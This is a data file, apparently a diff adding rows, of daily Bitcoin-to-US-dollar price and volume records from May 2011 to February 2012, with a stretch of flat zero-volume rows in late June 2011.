+2011-05-24,7.150000095367432,7.510000228881836,6.960000038146973,7.420000076293945,7.420000076293945,211827,BTC-USD +2011-05-25,7.420000076293945,9.329999923706055,7.21999979019165,8.399999618530273,8.399999618530273,510905,BTC-USD +2011-05-26,8.399999618530273,8.989999771118164,8.010000228881836,8.800000190734863,8.800000190734863,244820,BTC-USD +2011-05-27,8.800000190734863,8.829999923706055,8.5,8.5,8.5,125149,BTC-USD +2011-05-28,8.5,8.699999809265137,8.109999656677246,8.300000190734863,8.300000190734863,103463,BTC-USD +2011-05-29,8.300000190734863,8.489999771118164,8.100000381469727,8.430000305175781,8.430000305175781,62138,BTC-USD +2011-05-30,8.430000305175781,9.0,8.25,8.800000190734863,8.800000190734863,154258,BTC-USD +2011-05-31,8.800000190734863,9.5,8.100000381469727,8.739999771118164,8.739999771118164,406882,BTC-USD +2011-06-01,8.739999771118164,9.699999809265137,8.300000190734863,9.569999694824219,9.569999694824219,400564,BTC-USD +2011-06-02,9.569999694824219,10.890000343322754,9.5,10.600000381469727,10.600000381469727,415112,BTC-USD +2011-06-03,10.600000381469727,14.5,10.579999923706055,14.289999961853027,14.289999961853027,954513,BTC-USD +2011-06-04,14.289999961853027,18.889999389648438,14.039999961853027,18.889999389648438,18.889999389648438,729670,BTC-USD +2011-06-05,18.889999389648438,19.0,16.200000762939453,16.700000762939453,16.700000762939453,420612,BTC-USD +2011-06-06,16.700000762939453,19.229999542236328,16.450000762939453,18.549999237060547,18.549999237060547,1016927,BTC-USD +2011-06-07,18.549999237060547,24.31999969482422,18.260000228881836,23.920000076293945,23.920000076293945,1068903,BTC-USD +2011-06-08,23.920000076293945,31.90999984741211,22.209999084472656,29.600000381469727,29.600000381469727,2858820,BTC-USD +2011-06-09,29.600000381469727,31.5,26.149999618530273,28.920000076293945,28.920000076293945,1861589,BTC-USD +2011-06-10,28.920000076293945,29.399999618530273,20.010000228881836,23.950000762939453,23.950000762939453,2274786,BTC-USD +2011-06-11,23.950000762939453,23.989999771118164,13.0,14.649999618530273,14.649999618530273,2146587,BTC-USD +2011-06-12,14.649999618530273,24.989999771118164,10.25,18.549999237060547,18.549999237060547,2451134,BTC-USD +2011-06-13,18.549999237060547,24.5,16.0,19.84000015258789,19.84000015258789,1476239,BTC-USD +2011-06-14,19.84000015258789,20.5,18.0,19.280000686645508,19.280000686645508,696003,BTC-USD +2011-06-15,19.280000686645508,20.0,19.020000457763672,19.489999771118164,19.489999771118164,545336,BTC-USD +2011-06-16,19.489999771118164,19.889999389648438,17.0,17.0,17.0,927743,BTC-USD +2011-06-17,17.0,18.34000015258789,13.0,15.680000305175781,15.680000305175781,1684353,BTC-USD +2011-06-18,15.680000305175781,16.950000762939453,15.050000190734863,16.889999389648438,16.889999389648438,569949,BTC-USD +2011-06-19,16.889999389648438,18.8799991607666,16.850000381469727,17.510000228881836,17.510000228881836,536267,BTC-USD +2011-06-20,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,0,BTC-USD +2011-06-21,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,0,BTC-USD +2011-06-22,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,0,BTC-USD +2011-06-23,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,0,BTC-USD +2011-06-24,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,0,BTC-USD +2011-06-25,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,17.510000228881836,0,BTC-USD +2011-06-26,17.510000228881836,17.510000228881836,14.010000228881836,16.450000762939453,16.450000762939453,234621,BTC-USD +2011-06-27,16.450000762939453,18.0,15.0,16.75,16.75,535096,BTC-USD +2011-06-28,16.75,17.520000457763672,16.5,16.950000762939453,16.950000762939453,413032,BTC-USD +2011-06-29,16.950000762939453,17.200000762939453,16.670000076293945,16.850000381469727,16.850000381469727,355303,BTC-USD +2011-06-30,16.850000381469727,17.0,15.729999542236328,16.100000381469727,16.100000381469727,577145,BTC-USD +2011-07-01,16.100000381469727,16.739999771118164,15.260000228881836,15.399999618530273,15.399999618530273,529197,BTC-USD +2011-07-02,15.399999618530273,15.800000190734863,15.270000457763672,15.399999618530273,15.399999618530273,302134,BTC-USD +2011-07-03,15.399999618530273,15.6899995803833,15.3100004196167,15.4399995803833,15.4399995803833,259875,BTC-USD +2011-07-04,15.4399995803833,15.489999771118164,13.140000343322754,13.859999656677246,13.859999656677246,756913,BTC-USD +2011-07-05,13.859999656677246,15.0,11.0,12.90999984741211,12.90999984741211,1076305,BTC-USD +2011-07-06,12.90999984741211,16.5,12.670000076293945,14.779999732971191,14.779999732971191,1655319,BTC-USD +2011-07-07,14.779999732971191,15.899999618530273,14.5,14.779999732971191,14.779999732971191,825452,BTC-USD +2011-07-08,14.779999732971191,15.640000343322754,13.899999618530273,14.3100004196167,14.3100004196167,500143,BTC-USD +2011-07-09,14.3100004196167,14.699999809265137,14.020000457763672,14.380000114440918,14.380000114440918,171329,BTC-USD +2011-07-10,14.380000114440918,15.680000305175781,14.350000381469727,14.899999618530273,14.899999618530273,682903,BTC-USD +2011-07-11,14.899999618530273,15.199999809265137,13.800000190734863,14.210000038146973,14.210000038146973,706457,BTC-USD +2011-07-12,14.210000038146973,14.640000343322754,13.899999618530273,14.010000228881836,14.010000228881836,372986,BTC-USD +2011-07-13,14.010000228881836,14.149999618530273,13.90999984741211,13.949999809265137,13.949999809265137,145032,BTC-USD +2011-07-14,13.949999809265137,14.069999694824219,13.699999809265137,13.989999771118164,13.989999771118164,245982,BTC-USD +2011-07-15,13.989999771118164,14.09000015258789,13.5,13.8100004196167,13.8100004196167,344982,BTC-USD +2011-07-16,13.8100004196167,13.8100004196167,13.5,13.720000267028809,13.720000267028809,235142,BTC-USD +2011-07-17,13.720000267028809,13.75,13.020000457763672,13.15999984741211,13.15999984741211,458510,BTC-USD +2011-07-18,13.15999984741211,13.920000076293945,12.510000228881836,13.479999542236328,13.479999542236328,988903,BTC-USD +2011-07-19,13.479999542236328,14.699999809265137,13.4399995803833,13.850000381469727,13.850000381469727,948485,BTC-USD +2011-07-20,13.850000381469727,14.0,13.399999618530273,13.6899995803833,13.6899995803833,317332,BTC-USD +2011-07-21,13.6899995803833,13.779999732971191,13.399999618530273,13.609999656677246,13.609999656677246,341665,BTC-USD +2011-07-22,13.609999656677246,13.8100004196167,13.449999809265137,13.699999809265137,13.699999809265137,207044,BTC-USD +2011-07-23,13.699999809265137,13.760000228881836,13.510000228881836,13.680000305175781,13.680000305175781,306380,BTC-USD +2011-07-24,13.680000305175781,14.100000381469727,13.600000381469727,13.979999542236328,13.979999542236328,369041,BTC-USD +2011-07-25,13.979999542236328,14.720000267028809,13.760000228881836,14.050000190734863,14.050000190734863,448277,BTC-USD +2011-07-26,14.050000190734863,14.050000190734863,13.770000457763672,13.880000114440918,13.880000114440918,233585,BTC-USD +2011-07-27,13.880000114440918,14.130000114440918,13.850000381469727,13.9399995803833,13.9399995803833,160645,BTC-USD +2011-07-28,13.9399995803833,13.9399995803833,13.3100004196167,13.489999771118164,13.489999771118164,445690,BTC-USD +2011-07-29,13.489999771118164,13.699999809265137,13.329999923706055,13.5,13.5,98020,BTC-USD +2011-07-30,13.5,13.630000114440918,13.449999809265137,13.529999732971191,13.529999732971191,82590,BTC-USD +2011-07-31,13.529999732971191,14.899999618530273,12.829999923706055,13.350000381469727,13.350000381469727,618135,BTC-USD +2011-08-01,13.350000381469727,13.550000190734863,12.850000381469727,13.09000015258789,13.09000015258789,286373,BTC-USD +2011-08-02,13.09000015258789,13.100000381469727,11.5,12.050000190734863,12.050000190734863,709463,BTC-USD +2011-08-03,12.050000190734863,12.15999984741211,8.699999809265137,9.260000228881836,9.260000228881836,943628,BTC-USD +2011-08-04,9.260000228881836,11.149999618530273,9.270000457763672,10.75,10.75,529876,BTC-USD +2011-08-05,10.75,10.989999771118164,9.5,9.800000190734863,9.800000190734863,315866,BTC-USD +2011-08-06,9.800000190734863,9.949999809265137,5.739999771118164,6.550000190734863,6.550000190734863,801213,BTC-USD +2011-08-07,6.550000190734863,9.470000267028809,6.010000228881836,7.900000095367432,7.900000095367432,693796,BTC-USD +2011-08-08,7.900000095367432,8.15999984741211,7.059999942779541,7.800000190734863,7.800000190734863,263570,BTC-USD +2011-08-09,7.800000190734863,12.100000381469727,7.670000076293945,9.989999771118164,9.989999771118164,1112123,BTC-USD +2011-08-10,9.989999771118164,10.399999618530273,9.5,9.979999542236328,9.979999542236328,242598,BTC-USD +2011-08-11,9.979999542236328,10.5,8.449999809265137,9.460000038146973,9.460000038146973,550577,BTC-USD +2011-08-12,9.460000038146973,9.800000190734863,8.90999984741211,9.460000038146973,9.460000038146973,387476,BTC-USD +2011-08-13,9.460000038146973,10.25,9.279999732971191,10.130000114440918,10.130000114440918,291543,BTC-USD +2011-08-14,10.130000114440918,11.239999771118164,9.619999885559082,10.800000190734863,10.800000190734863,468353,BTC-USD +2011-08-15,10.800000190734863,11.890000343322754,10.720000267028809,11.149999618530273,11.149999618530273,431203,BTC-USD +2011-08-16,11.149999618530273,11.319999694824219,10.8100004196167,10.960000038146973,10.960000038146973,169357,BTC-USD +2011-08-17,10.960000038146973,11.100000381469727,10.65999984741211,10.949999809265137,10.949999809265137,249104,BTC-USD +2011-08-18,10.949999809265137,11.050000190734863,10.8100004196167,10.829999923706055,10.829999923706055,89515,BTC-USD +2011-08-19,10.829999923706055,11.8100004196167,10.829999923706055,11.649999618530273,11.649999618530273,384289,BTC-USD +2011-08-20,11.649999618530273,11.6899995803833,11.399999618530273,11.449999809265137,11.449999809265137,113880,BTC-USD +2011-08-21,11.449999809265137,11.510000228881836,11.3100004196167,11.3100004196167,11.3100004196167,99220,BTC-USD +2011-08-22,11.3100004196167,11.5,10.510000228881836,10.899999618530273,10.899999618530273,407895,BTC-USD +2011-08-23,10.899999618530273,11.300000190734863,10.8100004196167,10.9399995803833,10.9399995803833,141019,BTC-USD +2011-08-24,10.9399995803833,11.079999923706055,10.829999923706055,10.850000381469727,10.850000381469727,85516,BTC-USD +2011-08-25,10.850000381469727,10.890000343322754,9.100000381469727,9.65999984741211,9.65999984741211,555232,BTC-USD +2011-08-26,9.65999984741211,9.890000343322754,7.639999866485596,8.180000305175781,8.180000305175781,718309,BTC-USD +2011-08-27,8.180000305175781,9.109999656677246,8.119999885559082,8.59000015258789,8.59000015258789,189777,BTC-USD +2011-08-28,8.59000015258789,9.479999542236328,8.449999809265137,9.069999694824219,9.069999694824219,216706,BTC-USD +2011-08-29,9.069999694824219,9.270000457763672,8.649999618530273,8.970000267028809,8.970000267028809,193411,BTC-USD +2011-08-30,8.970000267028809,9.0,8.550000190734863,8.789999961853027,8.789999961853027,103338,BTC-USD +2011-08-31,8.789999961853027,8.789999961853027,8.010000228881836,8.199999809265137,8.199999809265137,164091,BTC-USD +2011-09-01,8.199999809265137,8.359999656677246,8.100000381469727,8.210000038146973,8.210000038146973,97874,BTC-USD +2011-09-02,8.210000038146973,8.710000038146973,8.229999542236328,8.640000343322754,8.640000343322754,141975,BTC-USD +2011-09-03,8.640000343322754,8.6899995803833,8.359999656677246,8.479999542236328,8.479999542236328,59247,BTC-USD +2011-09-04,8.479999542236328,8.489999771118164,7.849999904632568,8.180000305175781,8.180000305175781,160817,BTC-USD +2011-09-05,8.180000305175781,8.1899995803833,7.25,7.610000133514404,7.610000133514404,234672,BTC-USD +2011-09-06,7.610000133514404,7.659999847412109,6.119999885559082,6.860000133514404,6.860000133514404,555289,BTC-USD +2011-09-07,6.860000133514404,7.599999904632568,6.53000020980835,7.190000057220459,7.190000057220459,348836,BTC-USD +2011-09-08,7.190000057220459,7.199999809265137,6.510000228881836,6.53000020980835,6.53000020980835,216888,BTC-USD +2011-09-09,6.53000020980835,6.579999923706055,4.179999828338623,5.03000020980835,5.03000020980835,1154613,BTC-USD +2011-09-10,5.03000020980835,5.489999771118164,4.630000114440918,4.769999980926514,4.769999980926514,223562,BTC-USD +2011-09-11,4.769999980926514,7.400000095367432,4.599999904632568,5.860000133514404,5.860000133514404,873010,BTC-USD +2011-09-12,5.860000133514404,6.579999923706055,5.409999847412109,6.079999923706055,6.079999923706055,385739,BTC-USD +2011-09-13,6.079999923706055,6.090000152587891,5.699999809265137,5.800000190734863,5.800000190734863,138683,BTC-USD +2011-09-14,5.800000190734863,5.849999904632568,5.320000171661377,5.619999885559082,5.619999885559082,243197,BTC-USD +2011-09-15,5.619999885559082,5.619999885559082,4.440000057220459,4.840000152587891,4.840000152587891,429502,BTC-USD +2011-09-16,4.840000152587891,4.989999771118164,4.610000133514404,4.820000171661377,4.820000171661377,152408,BTC-USD +2011-09-17,4.820000171661377,4.929999828338623,4.699999809265137,4.769999980926514,4.769999980926514,97582,BTC-USD +2011-09-18,4.769999980926514,5.599999904632568,4.71999979019165,5.199999809265137,5.199999809265137,229468,BTC-USD +2011-09-19,5.199999809265137,5.639999866485596,4.900000095367432,5.460000038146973,5.460000038146973,263597,BTC-USD +2011-09-20,5.460000038146973,6.800000190734863,5.449999809265137,6.110000133514404,6.110000133514404,713430,BTC-USD +2011-09-21,6.110000133514404,6.289999961853027,5.059999942779541,5.610000133514404,5.610000133514404,383918,BTC-USD +2011-09-22,5.610000133514404,5.829999923706055,5.289999961853027,5.429999828338623,5.429999828338623,175258,BTC-USD +2011-09-23,5.429999828338623,5.710000038146973,5.409999847412109,5.550000190734863,5.550000190734863,312415,BTC-USD +2011-09-24,5.550000190734863,5.639999866485596,5.320000171661377,5.46999979019165,5.46999979019165,97847,BTC-USD +2011-09-25,5.46999979019165,5.489999771118164,5.320000171661377,5.329999923706055,5.329999923706055,51288,BTC-USD +2011-09-26,5.329999923706055,5.400000095367432,4.71999979019165,4.869999885559082,4.869999885559082,277987,BTC-USD +2011-09-27,4.869999885559082,5.130000114440918,4.78000020980835,4.920000076293945,4.920000076293945,121363,BTC-USD +2011-09-28,4.920000076293945,4.96999979019165,4.630000114440918,4.769999980926514,4.769999980926514,146110,BTC-USD +2011-09-29,4.769999980926514,4.800000190734863,4.670000076293945,4.78000020980835,4.78000020980835,66817,BTC-USD +2011-09-30,4.78000020980835,5.349999904632568,4.739999771118164,5.139999866485596,5.139999866485596,208038,BTC-USD +2011-10-01,5.139999866485596,5.25,4.860000133514404,5.03000020980835,5.03000020980835,118531,BTC-USD +2011-10-02,5.03000020980835,5.099999904632568,4.909999847412109,5.03000020980835,5.03000020980835,52128,BTC-USD +2011-10-03,5.03000020980835,5.039999961853027,4.889999866485596,5.019999980926514,5.019999980926514,85880,BTC-USD +2011-10-04,5.019999980926514,5.03000020980835,4.920000076293945,4.960000038146973,4.960000038146973,78377,BTC-USD +2011-10-05,4.960000038146973,5.03000020980835,4.829999923706055,4.869999885559082,4.869999885559082,86107,BTC-USD +2011-10-06,4.869999885559082,4.900000095367432,4.5,4.730000019073486,4.730000019073486,256723,BTC-USD +2011-10-07,4.730000019073486,4.800000190734863,3.77999997138977,4.269999980926514,4.269999980926514,418394,BTC-USD +2011-10-08,4.269999980926514,4.340000152587891,3.829999923706054,4.010000228881836,4.010000228881836,159656,BTC-USD +2011-10-09,4.010000228881836,4.389999866485596,4.010000228881836,4.099999904632568,4.099999904632568,158762,BTC-USD +2011-10-10,4.099999904632568,4.199999809265137,4.010000228881836,4.099999904632568,4.099999904632568,69188,BTC-USD +2011-10-11,4.099999904632568,4.099999904632568,3.849999904632568,3.930000066757202,3.930000066757202,162268,BTC-USD +2011-10-12,3.930000066757202,4.449999809265137,3.900000095367431,4.150000095367432,4.150000095367432,282490,BTC-USD +2011-10-13,4.150000095367432,4.199999809265137,4.0,4.050000190734863,4.050000190734863,80377,BTC-USD +2011-10-14,4.050000190734863,4.110000133514404,3.950000047683716,3.990000009536743,3.990000009536743,80464,BTC-USD +2011-10-15,3.990000009536743,4.050000190734863,3.710000038146972,3.839999914169311,3.839999914169311,163851,BTC-USD +2011-10-16,3.839999914169311,3.900000095367431,3.400000095367431,3.559999942779541,3.559999942779541,131714,BTC-USD +2011-10-17,3.559999942779541,3.740000009536743,2.259999990463257,2.559999942779541,2.559999942779541,591902,BTC-USD +2011-10-18,2.559999942779541,2.900000095367431,2.309999942779541,2.420000076293945,2.420000076293945,229826,BTC-USD +2011-10-19,2.420000076293945,2.539999961853027,2.039999961853027,2.269999980926513,2.269999980926513,232324,BTC-USD +2011-10-20,2.269999980926513,2.390000104904175,2.220000028610229,2.349999904632568,2.349999904632568,113046,BTC-USD +2011-10-21,2.349999904632568,2.720000028610229,2.329999923706054,2.569999933242798,2.569999933242798,185287,BTC-USD +2011-10-22,2.569999933242798,3.299999952316284,2.549999952316284,3.160000085830688,3.160000085830688,361119,BTC-USD +2011-10-23,3.160000085830688,3.200000047683716,2.950000047683716,3.170000076293945,3.170000076293945,114141,BTC-USD +2011-10-24,3.170000076293945,3.190000057220459,2.480000019073486,2.549999952316284,2.549999952316284,258830,BTC-USD +2011-10-25,2.549999952316284,3.039999961853027,2.440000057220459,2.769999980926513,2.769999980926513,278159,BTC-USD +2011-10-26,2.769999980926513,2.849999904632568,2.650000095367431,2.769999980926513,2.769999980926513,80877,BTC-USD +2011-10-27,2.769999980926513,3.089999914169311,2.7300000190734863,3.039999961853027,3.039999961853027,171312,BTC-USD +2011-10-28,3.039999961853027,3.259999990463257,2.910000085830688,3.190000057220459,3.190000057220459,162799,BTC-USD +2011-10-29,3.190000057220459,3.829999923706054,3.140000104904175,3.579999923706054,3.579999923706054,281957,BTC-USD +2011-10-30,3.579999923706054,3.650000095367431,3.200000047683716,3.269999980926513,3.269999980926513,171427,BTC-USD +2011-10-31,3.269999980926513,3.319999933242798,3.069999933242798,3.25,3.25,98715,BTC-USD +2011-11-01,3.25,3.349999904632568,3.069999933242798,3.150000095367431,3.150000095367431,120727,BTC-USD +2011-11-02,3.150000095367431,3.440000057220459,3.140000104904175,3.25,3.25,104522,BTC-USD +2011-11-03,3.25,3.27999997138977,3.099999904632568,3.150000095367431,3.150000095367431,78756,BTC-USD +2011-11-04,3.150000095367431,3.210000038146972,3.009999990463257,3.109999895095825,3.109999895095825,123573,BTC-USD +2011-11-05,3.109999895095825,3.150000095367431,2.849999904632568,2.970000028610229,2.970000028610229,159571,BTC-USD +2011-11-06,2.970000028610229,3.0,2.9200000762939453,2.960000038146972,2.960000038146972,51037,BTC-USD +2011-11-07,2.960000038146972,3.02999997138977,2.950000047683716,3.009999990463257,3.009999990463257,71961,BTC-USD +2011-11-08,3.009999990463257,3.210000038146972,3.009999990463257,3.039999961853027,3.039999961853027,186440,BTC-USD +2011-11-09,3.039999961853027,3.109999895095825,2.890000104904175,2.950000047683716,2.950000047683716,156655,BTC-USD +2011-11-10,2.950000047683716,2.970000028610229,2.799999952316284,2.839999914169311,2.839999914169311,97395,BTC-USD +2011-11-11,2.839999914169311,3.109999895095825,2.819999933242798,3.079999923706054,3.079999923706054,133312,BTC-USD +2011-11-12,3.079999923706054,3.109999895095825,3.009999990463257,3.02999997138977,3.02999997138977,62326,BTC-USD +2011-11-13,3.02999997138977,3.049999952316284,2.950000047683716,3.0,3.0,28888,BTC-USD +2011-11-14,3.0,3.0,2.099999904632568,2.220000028610229,2.220000028610229,957693,BTC-USD +2011-11-15,2.220000028610229,2.490000009536743,2.109999895095825,2.329999923706054,2.329999923706054,175520,BTC-USD +2011-11-16,2.329999923706054,2.599999904632568,2.299999952316284,2.559999942779541,2.559999942779541,108654,BTC-USD +2011-11-17,2.559999942779541,2.589999914169311,1.9900000095367432,2.25,2.25,261039,BTC-USD +2011-11-18,2.25,2.390000104904175,2.0,2.049999952316284,2.049999952316284,210125,BTC-USD +2011-11-19,2.049999952316284,2.259999990463257,2.0,2.200000047683716,2.200000047683716,169806,BTC-USD +2011-11-20,2.200000047683716,2.5,2.150000095367431,2.200000047683716,2.200000047683716,182015,BTC-USD +2011-11-21,2.200000047683716,2.309999942779541,2.170000076293945,2.289999961853027,2.289999961853027,93197,BTC-USD +2011-11-22,2.289999961853027,2.349999904632568,2.25,2.329999923706054,2.329999923706054,78934,BTC-USD +2011-11-23,2.329999923706054,2.380000114440918,2.269999980926513,2.329999923706054,2.329999923706054,92955,BTC-USD +2011-11-24,2.329999923706054,2.559999942779541,2.309999942779541,2.430000066757202,2.430000066757202,211558,BTC-USD +2011-11-25,2.430000066757202,2.52999997138977,2.369999885559082,2.509999990463257,2.509999990463257,109592,BTC-USD +2011-11-26,2.509999990463257,2.52999997138977,2.410000085830688,2.470000028610229,2.470000028610229,89621,BTC-USD +2011-11-27,2.470000028610229,2.490000009536743,2.420000076293945,2.480000019073486,2.480000019073486,55832,BTC-USD +2011-11-28,2.480000019073486,2.549999952316284,2.440000057220459,2.549999952316284,2.549999952316284,103409,BTC-USD +2011-11-29,2.549999952316284,2.9800000190734863,2.539999961853027,2.75,2.75,503908,BTC-USD +2011-11-30,2.75,3.089999914169311,2.7300000190734863,2.970000028610229,2.970000028610229,349861,BTC-USD +2011-12-01,2.970000028610229,3.140000104904175,2.930000066757202,3.059999942779541,3.059999942779541,195016,BTC-USD +2011-12-02,3.059999942779541,3.140000104904175,3.02999997138977,3.119999885559082,3.119999885559082,178018,BTC-USD +2011-12-03,3.119999885559082,3.130000114440918,2.75,2.789999961853027,2.789999961853027,360981,BTC-USD +2011-12-04,2.789999961853027,2.900000095367431,2.609999895095825,2.829999923706054,2.829999923706054,261745,BTC-USD +2011-12-05,2.829999923706054,2.930000066757202,2.77999997138977,2.880000114440918,2.880000114440918,88678,BTC-USD +2011-12-06,2.880000114440918,3.049999952316284,2.869999885559082,3.02999997138977,3.02999997138977,165517,BTC-USD +2011-12-07,3.02999997138977,3.079999923706054,2.930000066757202,2.990000009536743,2.990000009536743,174201,BTC-USD +2011-12-08,2.990000009536743,3.009999990463257,2.880000114440918,2.9800000190734863,2.9800000190734863,117824,BTC-USD +2011-12-09,2.9800000190734863,3.039999961853027,2.930000066757202,2.970000028610229,2.970000028610229,102810,BTC-USD +2011-12-10,2.970000028610229,3.130000114440918,2.930000066757202,3.049999952316284,3.049999952316284,225642,BTC-USD +2011-12-11,3.049999952316284,3.380000114440918,2.990000009536743,3.25,3.25,346453,BTC-USD +2011-12-12,3.25,3.289999961853027,3.079999923706054,3.140000104904175,3.140000104904175,126940,BTC-USD +2011-12-13,3.140000104904175,3.25,3.140000104904175,3.25,3.25,104930,BTC-USD +2011-12-14,3.25,3.25,2.990000009536743,3.150000095367431,3.150000095367431,225975,BTC-USD +2011-12-15,3.150000095367431,3.210000038146972,3.109999895095825,3.200000047683716,3.200000047683716,95417,BTC-USD +2011-12-16,3.200000047683716,3.220000028610229,3.150000095367431,3.200000047683716,3.200000047683716,95114,BTC-USD +2011-12-17,3.200000047683716,3.230000019073486,3.160000085830688,3.200000047683716,3.200000047683716,52586,BTC-USD +2011-12-18,3.200000047683716,3.220000028610229,3.180000066757202,3.190000057220459,3.190000057220459,34542,BTC-USD +2011-12-19,3.190000057220459,3.700000047683716,3.190000057220459,3.519999980926513,3.519999980926513,476965,BTC-USD +2011-12-20,3.519999980926513,4.5,3.480000019073486,3.950000047683716,3.950000047683716,739231,BTC-USD +2011-12-21,3.950000047683716,4.039999961853027,3.809999942779541,3.890000104904175,3.890000104904175,191659,BTC-USD +2011-12-22,3.890000104904175,3.990000009536743,3.509999990463257,3.890000104904175,3.890000104904175,216558,BTC-USD +2011-12-23,3.890000104904175,3.950000047683716,3.819999933242798,3.950000047683716,3.950000047683716,80030,BTC-USD +2011-12-24,3.950000047683716,3.970000028610229,3.859999895095825,3.940000057220459,3.940000057220459,58567,BTC-USD +2011-12-25,3.940000057220459,4.389999866485596,3.77999997138977,4.21999979019165,4.21999979019165,334511,BTC-USD +2011-12-26,4.21999979019165,4.309999942779541,3.809999942779541,4.019999980926514,4.019999980926514,358539,BTC-USD +2011-12-27,4.019999980926514,4.099999904632568,3.960000038146972,4.070000171661377,4.070000171661377,121501,BTC-USD +2011-12-28,4.070000171661377,4.25,3.990000009536743,4.190000057220459,4.190000057220459,140029,BTC-USD +2011-12-29,4.190000057220459,4.329999923706055,4.119999885559082,4.170000076293945,4.170000076293945,223710,BTC-USD +2011-12-30,4.170000076293945,4.300000190734863,4.059999942779541,4.25,4.25,172118,BTC-USD +2011-12-31,4.25,5.0,4.199999809265137,4.71999979019165,4.71999979019165,596240,BTC-USD +2012-01-01,4.71999979019165,5.5,4.619999885559082,5.269999980926514,5.269999980926514,553045,BTC-USD +2012-01-02,5.269999980926514,5.46999979019165,4.800000190734863,5.21999979019165,5.21999979019165,360357,BTC-USD +2012-01-03,5.21999979019165,5.289999961853027,4.650000095367432,4.880000114440918,4.880000114440918,619170,BTC-USD +2012-01-04,4.880000114440918,5.699999809265137,4.75,5.570000171661377,5.570000171661377,688717,BTC-USD +2012-01-05,5.570000171661377,7.21999979019165,5.570000171661377,6.949999809265137,6.949999809265137,1130623,BTC-USD +2012-01-06,6.949999809265137,7.210000038146973,6.130000114440918,6.699999809265137,6.699999809265137,1481327,BTC-USD +2012-01-07,6.699999809265137,7.019999980926514,6.380000114440918,6.809999942779541,6.809999942779541,325053,BTC-USD +2012-01-08,6.809999942779541,7.199999809265137,6.730000019073486,7.110000133514404,7.110000133514404,403151,BTC-USD +2012-01-09,7.110000133514404,7.190000057220459,5.809999942779541,6.329999923706055,6.329999923706055,960592,BTC-USD +2012-01-10,6.329999923706055,6.889999866485596,6.0,6.360000133514404,6.360000133514404,705056,BTC-USD +2012-01-11,6.360000133514404,7.139999866485596,6.409999847412109,6.900000095367432,6.900000095367432,677642,BTC-USD +2012-01-12,6.900000095367432,7.0,6.340000152587891,6.800000190734863,6.800000190734863,944165,BTC-USD +2012-01-13,6.800000190734863,6.800000190734863,6.400000095367432,6.409999847412109,6.409999847412109,398312,BTC-USD +2012-01-14,6.409999847412109,6.949999809265137,6.21999979019165,6.75,6.75,935192,BTC-USD +2012-01-15,6.75,7.079999923706055,6.739999771118164,7.0,7.0,429700,BTC-USD +2012-01-16,7.0,7.190000057220459,6.510000228881836,6.679999828338623,6.679999828338623,837413,BTC-USD +2012-01-17,6.679999828338623,6.949999809265137,4.639999866485596,5.599999904632568,5.599999904632568,1288538,BTC-USD +2012-01-18,5.599999904632568,6.949999809265137,5.099999904632568,5.920000076293945,5.920000076293945,1354753,BTC-USD +2012-01-19,5.920000076293945,6.360000133514404,5.869999885559082,6.360000133514404,6.360000133514404,709705,BTC-USD +2012-01-20,6.360000133514404,6.579999923706055,6.260000228881836,6.489999771118164,6.489999771118164,429803,BTC-USD +2012-01-21,6.489999771118164,6.550000190734863,6.099999904632568,6.179999828338623,6.179999828338623,407116,BTC-USD +2012-01-22,6.179999828338623,6.449999809265137,6.099999904632568,6.309999942779541,6.309999942779541,282233,BTC-USD +2012-01-23,6.309999942779541,6.389999866485596,6.210000038146973,6.360000133514404,6.360000133514404,111630,BTC-USD +2012-01-24,6.360000133514404,6.389999866485596,6.21999979019165,6.289999961853027,6.289999961853027,224665,BTC-USD +2012-01-25,6.289999961853027,6.320000171661377,5.5,5.75,5.75,782053,BTC-USD +2012-01-26,5.75,5.920000076293945,5.300000190734863,5.340000152587891,5.340000152587891,692624,BTC-USD +2012-01-27,5.340000152587891,5.510000228881836,5.050000190734863,5.289999961853027,5.289999961853027,611581,BTC-USD +2012-01-28,5.289999961853027,5.760000228881836,5.260000228881836,5.630000114440918,5.630000114440918,499881,BTC-USD +2012-01-29,5.630000114440918,5.699999809265137,5.329999923706055,5.380000114440918,5.380000114440918,254457,BTC-USD +2012-01-30,5.380000114440918,5.599999904632568,5.369999885559082,5.489999771118164,5.489999771118164,233179,BTC-USD +2012-01-31,5.489999771118164,5.650000095367432,5.429999828338623,5.480000019073486,5.480000019073486,267099,BTC-USD +2012-02-01,5.480000019073486,6.199999809265137,5.46999979019165,6.079999923706055,6.079999923706055,672632,BTC-USD +2012-02-02,6.079999923706055,6.199999809265137,5.820000171661377,6.099999904632568,6.099999904632568,328716,BTC-USD +2012-02-03,6.099999904632568,6.139999866485596,5.71999979019165,5.960000038146973,5.960000038146973,350818,BTC-USD +2012-02-04,5.960000038146973,5.989999771118164,5.840000152587891,5.869999885559082,5.869999885559082,122071,BTC-USD +2012-02-05,5.869999885559082,5.880000114440918,5.449999809265137,5.690000057220459,5.690000057220459,683010,BTC-USD +2012-02-06,5.690000057220459,5.71999979019165,5.449999809265137,5.449999809265137,5.449999809265137,500693,BTC-USD +2012-02-07,5.449999809265137,5.78000020980835,5.449999809265137,5.690000057220459,5.690000057220459,408854,BTC-USD +2012-02-08,5.690000057220459,5.849999904632568,5.300000190734863,5.599999904632568,5.599999904632568,1342007,BTC-USD +2012-02-09,5.599999904632568,5.920000076293945,5.5,5.829999923706055,5.829999923706055,516915,BTC-USD +2012-02-10,5.829999923706055,5.989999771118164,5.800000190734863,5.909999847412109,5.909999847412109,230967,BTC-USD +2012-02-11,5.909999847412109,6.0,5.539999961853027,5.599999904632568,5.599999904632568,397688,BTC-USD +2012-02-12,5.599999904632568,5.849999904632568,5.429999828338623,5.510000228881836,5.510000228881836,459004,BTC-USD +2012-02-13,5.510000228881836,5.71999979019165,5.199999809265137,5.260000228881836,5.260000228881836,909500,BTC-USD +2012-02-14,5.260000228881836,5.449999809265137,4.210000038146973,4.460000038146973,4.460000038146973,1399443,BTC-USD +2012-02-15,4.460000038146973,4.880000114440918,4.199999809265137,4.329999923706055,4.329999923706055,741639,BTC-USD +2012-02-16,4.329999923706055,4.440000057220459,3.880000114440918,4.269999980926514,4.269999980926514,697818,BTC-USD +2012-02-17,4.269999980926514,4.769999980926514,4.230000019073486,4.409999847412109,4.409999847412109,606244,BTC-USD 